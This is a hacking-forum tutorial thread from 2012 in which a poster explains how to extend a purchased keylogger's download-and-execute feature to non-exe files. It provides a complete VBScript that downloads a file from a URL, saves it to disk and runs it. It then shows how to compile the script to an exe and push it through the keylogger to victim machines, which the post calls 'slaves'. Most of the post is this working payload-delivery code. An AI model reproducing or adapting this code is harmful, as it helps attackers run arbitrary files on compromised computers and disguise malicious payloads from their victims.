Thread: [\[TUT\] How to make your download and execute feature can work for all extension](#)

kryptonhaz - October 30, 2012, 9:30 am

Greetings for all of HF member.. ?

Quote:I'm specially noob in here forum just want to share about this noob tuts because I just bought a keylogger with this feature but only work for exe file (and this is my first time being thread starter) ? . Well this time I'm gonna show you how to make this work for another file just some kind of spoofing with some vbs

Preparation:

1. A keylogger with download and execute feature (lol)
2. VBS to exe you can download from [here](#)
3. file that you want to spoof

Step 1:

Upload your file and it can get downloaded with direct link, in this case I'm just gonna try a image.jpg file from google (so I don't need upload it) ?

Step 2:

Copy and paste this to your notepad and save as with *.vbs (example.vbs)

Code ' Set your settings

```
strFileURL = "http://example.jpg"
```

```
strHDLocation = "D:\file.jpg"
```

' Fetch the file

```
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
```

```
objXMLHTTP.open "GET", strFileURL, false
```

```
objXMLHTTP.send()
```

If objXMLHTTP.Status = 200 Then

```
Set objADOSTream = CreateObject("ADODB.Stream")
```

```
objADOSTream.Open
```

```
objADOSTream.Type = 1 'adTypeBinary
```

```
objADOSTream.Write objXMLHTTP.ResponseBody
```

```
objADOSTream.Position = 0 'Set the stream position to the start
```

```
Set objFSO = Createobject("Scripting.FileSystemObject")
```

```
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
```

```
Set objFSO = Nothing
```

```
objADOSTream.SaveToFile strHDLocation
```

```
objADOSTream.Close
```

```
Set objADOSTream = Nothing
```

```
End if
```

```
Set objXMLHTTP = Nothing
```

CreateObject("WScript.Shell").Run "D:\file.jpg"source from [this](#)

let see you MUST change source file, your file name and destination folder for make it work ?

Step 3:

try to open it, and if your file opened by the default program it's means that script work smoothly (of course it's depend on slave internet connection) ?

After that use that vbstoexe just like this

Code vbstoexe script.vbs script.exeThis call converts script.vbs to script.exe

Step 4:

just upload it and of course can be opened from the direct link, and use that link in your keylogger who can has this feature ?

Hope this tut will help you and sorry my bad language.. ?
